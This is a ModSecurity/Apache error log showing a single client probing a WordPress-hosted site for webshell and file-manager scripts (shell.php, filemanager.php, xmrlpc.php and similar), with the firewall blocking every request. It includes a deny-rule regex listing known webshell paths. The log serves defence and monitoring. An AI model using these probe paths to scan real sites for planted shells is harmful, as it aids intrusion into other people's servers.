[Mon Apr 06 22:41:28.989126 2026] [:error] [pid 9413:tid 9434] [client 158.158.96.77:31667] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/ssd/sallu.php"] [unique_id "adPGGHllvEK3chn01wHYQgAAAZM"]
[Mon Apr 06 22:41:29.902822 2026] [:error] [pid 1827:tid 1844] [client 158.158.96.77:31666] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a2.php"] [unique_id "adPGGeVeb6S_DnjZ2xE3fQAAAg8"]
[Mon Apr 06 22:41:31.344674 2026] [:error] [pid 9442:tid 9463] [client 158.158.96.77:32372] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a2.php"] [unique_id "adPGG0PsNnAJTnmz6sY-_QAAARM"]
[Mon Apr 06 22:41:34.090132 2026] [:error] [pid 38562:tid 38586] [client 158.158.96.77:44233] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a2.php"] [unique_id "adPGHqeD6Ohe6wzRuy6zfgAAAVU"]
[Mon Apr 06 22:41:35.673409 2026] [:error] [pid 35687:tid 35734] [client 158.158.96.77:31625] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a2.php"] [unique_id "adPGH53LtDozV0i8BiuETAAAAEs"]
[Mon Apr 06 22:41:36.770942 2026] [:error] [pid 1827:tid 1838] [client 158.158.96.77:34687] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "adPGIOVeb6S_DnjZ2xE3kQAAAgk"]
[Mon Apr 06 22:41:37.351897 2026] [:error] [pid 9442:tid 9463] [client 158.158.96.77:47215] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "adPGIUPsNnAJTnmz6sY_CAAAARM"]
[Mon Apr 06 22:41:38.217717 2026] [:error] [pid 35686:tid 35710] [client 158.158.96.77:65074] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "adPGIsMKdea6oORd2fz05gAAAA4"]
[Mon Apr 06 22:41:39.296703 2026] [:error] [pid 38562:tid 38576] [client 158.158.96.77:65032] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "adPGI6eD6Ohe6wzRuy6ziQAAAUs"]
[Mon Apr 06 22:41:40.212130 2026] [:error] [pid 9442:tid 9457] [client 158.158.96.77:44283] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css.php"] [unique_id "adPGJEPsNnAJTnmz6sY_FAAAAQ0"]
[Mon Apr 06 22:41:40.841585 2026] [:error] [pid 35686:tid 35720] [client 158.158.96.77:34656] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css.php"] [unique_id "adPGJMMKdea6oORd2fz06QAAABg"]
[Mon Apr 06 22:41:41.695083 2026] [:error] [pid 10280:tid 10304] [client 158.158.96.77:47195] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css.php"] [unique_id "adPGJV8QUJkf8g-BFfM1_AAAAdU"]
[Mon Apr 06 22:41:42.542452 2026] [:error] [pid 35687:tid 35731] [client 158.158.96.77:32345] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css.php"] [unique_id "adPGJp3LtDozV0i8BiuEUAAAAEg"]
[Mon Apr 06 22:41:43.257427 2026] [:error] [pid 35687:tid 35742] [client 158.158.96.77:33659] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file32.php"] [unique_id "adPGJ53LtDozV0i8BiuEVwAAAFM"]
[Mon Apr 06 22:41:43.907747 2026] [:error] [pid 35688:tid 35750] [client 158.158.96.77:32944] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file32.php"] [unique_id "adPGJ-Z85qg4jLsRpQz8WgAAAIA"]
[Mon Apr 06 22:41:44.423800 2026] [:error] [pid 10280:tid 10296] [client 158.158.96.77:32938] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file32.php"] [unique_id "adPGKF8QUJkf8g-BFfM2AgAAAc0"]
[Mon Apr 06 22:41:45.104957 2026] [:error] [pid 35786:tid 35808] [client 158.158.96.77:44687] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file32.php"] [unique_id "adPGKWgkfCKTaLhwaKQuKgAAAM8"]
[Mon Apr 06 22:41:56.034447 2026] [:error] [pid 35686:tid 35716] [client 158.158.96.77:65068] [client 158.158.96.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/sodium_compat/index.php"] [unique_id "adPGNMMKdea6oORd2fz08QAAABQ"]
[Mon Apr 06 22:42:27.630544 2026] [:error] [pid 9442:tid 9468] [client 158.158.96.77:44692] [client 158.158.96.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/filemanager.php"] [unique_id "adPGU0PsNnAJTnmz6sY_zQAAARg"]
[Mon Apr 06 22:42:34.374002 2026] [:error] [pid 10280:tid 10294] [client 158.158.96.77:32616] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/33.php"] [unique_id "adPGWl8QUJkf8g-BFfM2kQAAAcs"]
[Mon Apr 06 22:42:34.858671 2026] [:error] [pid 35786:tid 35801] [client 158.158.96.77:37852] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/33.php"] [unique_id "adPGWmgkfCKTaLhwaKQuRgAAAMg"]
[Mon Apr 06 22:42:35.447116 2026] [:error] [pid 1827:tid 1832] [client 158.158.96.77:28552] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/33.php"] [unique_id "adPGW-Veb6S_DnjZ2xE37AAAAgM"]
[Mon Apr 06 22:42:36.025320 2026] [:error] [pid 1827:tid 1829] [client 158.158.96.77:35268] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/33.php"] [unique_id "adPGXOVeb6S_DnjZ2xE37gAAAgA"]
[Mon Apr 06 22:42:36.532631 2026] [:error] [pid 35786:tid 35816] [client 158.158.96.77:28582] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/chosen.php"] [unique_id "adPGXGgkfCKTaLhwaKQuRwAAANc"]
[Mon Apr 06 22:42:37.093136 2026] [:error] [pid 35688:tid 35770] [client 158.158.96.77:37882] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/chosen.php"] [unique_id "adPGXeZ85qg4jLsRpQz85gAAAJQ"]
[Mon Apr 06 22:42:37.597367 2026] [:error] [pid 35686:tid 35716] [client 158.158.96.77:60091] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/chosen.php"] [unique_id "adPGXcMKdea6oORd2fz1CQAAABQ"]
[Mon Apr 06 22:42:38.080088 2026] [:error] [pid 10280:tid 10296] [client 158.158.96.77:30795] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/chosen.php"] [unique_id "adPGXl8QUJkf8g-BFfM2mgAAAc0"]
[Mon Apr 06 22:42:38.625089 2026] [:error] [pid 38562:tid 38568] [client 158.158.96.77:36497] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shell.php"] [unique_id "adPGXqeD6Ohe6wzRuy6z4QAAAUM"]
[Mon Apr 06 22:42:39.240174 2026] [:error] [pid 35687:tid 35724] [client 158.158.96.77:32609] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shell.php"] [unique_id "adPGX53LtDozV0i8BiuEjwAAAEE"]
[Mon Apr 06 22:42:39.830529 2026] [:error] [pid 35688:tid 35757] [client 158.158.96.77:3677] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shell.php"] [unique_id "adPGX-Z85qg4jLsRpQz87gAAAIc"]
[Mon Apr 06 22:42:40.367760 2026] [:error] [pid 9442:tid 9445] [client 158.158.96.77:24825] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shell.php"] [unique_id "adPGYEPsNnAJTnmz6sZAEgAAAQE"]
[Mon Apr 06 22:42:40.943610 2026] [:error] [pid 35686:tid 35696] [client 158.158.96.77:28602] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/includes/xmrlpc.php"] [unique_id "adPGYMMKdea6oORd2fz1DQAAAAA"]
[Mon Apr 06 22:42:41.514301 2026] [:error] [pid 1827:tid 1835] [client 158.158.96.77:32591] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/includes/xmrlpc.php"] [unique_id "adPGYeVeb6S_DnjZ2xE39AAAAgY"]
[Mon Apr 06 22:42:42.021775 2026] [:error] [pid 1827:tid 1845] [client 158.158.96.77:36513] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/includes/xmrlpc.php"] [unique_id "adPGYuVeb6S_DnjZ2xE39gAAAhA"]
[Mon Apr 06 22:42:42.624386 2026] [:error] [pid 9442:tid 9468] [client 158.158.96.77:36512] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/includes/xmrlpc.php"] [unique_id "adPGYkPsNnAJTnmz6sZAHwAAARg"]
[Mon Apr 06 22:42:43.111728 2026] [:error] [pid 38562:tid 38585] [client 158.158.96.77:28578] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-x7.php"] [unique_id "adPGY6eD6Ohe6wzRuy6z4wAAAVQ"]
[Mon Apr 06 22:42:43.591933 2026] [:error] [pid 35686:tid 35708] [client 158.158.96.77:24792] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-x7.php"] [unique_id "adPGY8MKdea6oORd2fz1EQAAAAw"]
[Mon Apr 06 22:42:44.097660 2026] [:error] [pid 35688:tid 35769] [client 158.158.96.77:3648] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-x7.php"] [unique_id "adPGZOZ85qg4jLsRpQz8-QAAAJM"]
[Mon Apr 06 22:42:44.603137 2026] [:error] [pid 38562:tid 38571] [client 158.158.96.77:24778] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-x7.php"] [unique_id "adPGZKeD6Ohe6wzRuy6z5gAAAUY"]
[Mon Apr 06 22:42:45.133896 2026] [:error] [pid 38562:tid 38575] [client 158.158.96.77:32148] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/log.php"] [unique_id "adPGZaeD6Ohe6wzRuy6z6gAAAUo"]
[Mon Apr 06 22:42:45.619178 2026] [:error] [pid 1827:tid 1837] [client 158.158.96.77:14674] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/log.php"] [unique_id "adPGZeVeb6S_DnjZ2xE3-AAAAgg"]
[Mon Apr 06 22:42:46.102463 2026] [:error] [pid 35688:tid 35751] [client 158.158.96.77:36539] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/log.php"] [unique_id "adPGZuZ85qg4jLsRpQz8_gAAAIE"]
[Mon Apr 06 22:42:46.634615 2026] [:error] [pid 35686:tid 35702] [client 158.158.96.77:36533] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/log.php"] [unique_id "adPGZsMKdea6oORd2fz1FgAAAAY"]
[Mon Apr 06 22:42:47.155732 2026] [:error] [pid 35688:tid 35754] [client 158.158.96.77:32040] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v4.php"] [unique_id "adPGZ-Z85qg4jLsRpQz9AAAAAIQ"]
[Mon Apr 06 22:42:47.684289 2026] [:error] [pid 35688:tid 35766] [client 158.158.96.77:30799] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v4.php"] [unique_id "adPGZ-Z85qg4jLsRpQz9AwAAAJA"]
[Mon Apr 06 22:42:48.165666 2026] [:error] [pid 9442:tid 9467] [client 158.158.96.77:32030] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v4.php"] [unique_id "adPGaEPsNnAJTnmz6sZAOgAAARc"]
[Mon Apr 06 22:42:48.761463 2026] [:error] [pid 9413:tid 9439] [client 158.158.96.77:28565] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v4.php"] [unique_id "adPGaHllvEK3chn01wHYcAAAAZg"]
[Mon Apr 06 22:42:49.243135 2026] [:error] [pid 35786:tid 35797] [client 158.158.96.77:25491] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f6.php"] [unique_id "adPGaWgkfCKTaLhwaKQuTgAAAMQ"]
[Mon Apr 06 22:42:49.728788 2026] [:error] [pid 9442:tid 9462] [client 158.158.96.77:3683] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f6.php"] [unique_id "adPGaUPsNnAJTnmz6sZAQwAAARI"]
[Mon Apr 06 22:42:50.223867 2026] [:error] [pid 9442:tid 9446] [client 158.158.96.77:32018] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f6.php"] [unique_id "adPGakPsNnAJTnmz6sZASQAAAQI"]
[Mon Apr 06 22:42:50.761832 2026] [:error] [pid 38562:tid 38576] [client 158.158.96.77:31202] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f6.php"] [unique_id "adPGaqeD6Ohe6wzRuy6z7QAAAUs"]
[Mon Apr 06 22:42:51.255372 2026] [:error] [pid 9442:tid 9467] [client 158.158.96.77:31210] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "adPGa0PsNnAJTnmz6sZAUAAAARc"]
[Mon Apr 06 22:42:51.909117 2026] [:error] [pid 35786:tid 35812] [client 158.158.96.77:28571] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "adPGa2gkfCKTaLhwaKQuTwAAANM"]
[Mon Apr 06 22:42:52.542293 2026] [:error] [pid 9442:tid 9468] [client 158.158.96.77:30838] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "adPGbEPsNnAJTnmz6sZAVwAAARg"]
[Mon Apr 06 22:42:53.122133 2026] [:error] [pid 35688:tid 35762] [client 158.158.96.77:24826] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "adPGbeZ85qg4jLsRpQz9CwAAAIw"]
[Mon Apr 06 22:42:53.616861 2026] [:error] [pid 9442:tid 9449] [client 158.158.96.77:14711] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/an7.php"] [unique_id "adPGbUPsNnAJTnmz6sZAYAAAAQU"]
